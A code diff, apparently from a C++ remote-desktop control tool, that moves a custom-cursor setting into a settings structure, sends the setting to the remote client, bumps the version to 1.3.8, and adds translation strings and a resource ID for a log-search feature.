// 如果当前正在使用自定义光标,立即更新显示
if (m_bCursorIndex == 254 && m_bIsCtrl && m_bUseCustomCursor) {
if (m_bCursorIndex == 254 && m_bIsCtrl && m_Settings.CustomCursor) {
if (m_Settings.RemoteCursor) {
// RemoteCursor 模式:触发重绘以显示新光标
Invalidate(FALSE);
@@ -1448,7 +1448,7 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
HCURSOR cursor;
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
cursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
cursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
} else if (m_bCursorIndex == 255) { // -1: 不支持,回退到箭头
cursor = LoadCursor(NULL, IDC_ARROW);
} else {
@@ -1912,7 +1912,7 @@ void CScreenSpyDlg::OnPaint()
// 2. 获取光标句柄(支持自定义光标)
HCURSOR hCursor;
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
hCursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
hCursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
} else if (m_bCursorIndex == 255) { // -1: 不支持,回退到箭头
hCursor = LoadCursor(NULL, IDC_ARROW);
} else {
@@ -2186,17 +2186,19 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
break;
}
case IDM_CUSTOM_CURSOR: {
m_bUseCustomCursor = !m_bUseCustomCursor;
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_bUseCustomCursor ? MF_CHECKED : MF_UNCHECKED);
m_Settings.CustomCursor = m_Settings.CustomCursor ? FALSE : TRUE;
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_Settings.CustomCursor ? MF_CHECKED : MF_UNCHECKED);
// 如果当前是自定义光标,立即更新显示
if (m_bCursorIndex == 254 && m_bIsCtrl) {
HCURSOR cursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
HCURSOR cursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
if (m_Settings.RemoteCursor) {
Invalidate(FALSE);
} else {
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)cursor);
}
}
BYTE cmd[4] = { CMD_CUSTOM_CURSOR, m_Settings.CustomCursor };
m_ContextObject->Send2Client(cmd, sizeof(cmd));
break;
}
-1
View File
@@ -277,7 +277,6 @@ public:
HCURSOR m_hRemoteCursor = NULL;
HCURSOR m_hCustomCursor = NULL; // 缓存的自定义光标
DWORD m_dwCustomCursorHash = 0; // 当前自定义光标哈希
BOOL m_bUseCustomCursor = TRUE; // 是否使用自定义光标
CRect m_CRect;
double m_wZoom=1, m_hZoom=1;
int m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移(像素)
+1 -1
View File
@@ -46,7 +46,7 @@
// 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.7"
#define BRAND_VERSION "1.3.8"
// 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
+7
View File
@@ -1958,3 +1958,10 @@ FRPC Զ
客户端日志=Client Log
封禁使用=Forbidden Client
确定封禁选定的被控程序吗?=Are you sure to forbidden the selected clients?
无结果=Not found
严禁=Prohibited
禁止=Forbidden
失败=Failed
搜索日志=Search Logs
隐藏搜索=Hide Search
请=Please
+7
View File
@@ -1949,3 +1949,10 @@ FRPC Զ
客户端日志=客户端日志
封禁使用=封禁使用
确定封禁选定的被控程序吗?=确定封禁选定的被控程序吗?
无结果=无结果
严禁=严禁
禁止=禁止
失败=失败
搜索日志=搜索日志
隐藏搜索=隐藏搜索
请=请
+2 -1
View File
@@ -990,6 +990,7 @@
#define ID_MSGLOG_CLEAR 33041
#define ID_CANCEL_SHARE 33042
#define ID_MSGLOG_COPY 33043
#define ID_MSGLOG_SEARCH 33078
#define ID_WEB_REMOTE_CONTROL 33044
#define ID_TOOL_PLUGIN_SETTINGS 33045
#define ID_33046 33046
@@ -1031,7 +1032,7 @@
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 398
#define _APS_NEXT_COMMAND_VALUE 33077
#define _APS_NEXT_COMMAND_VALUE 33079
#define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105
#endif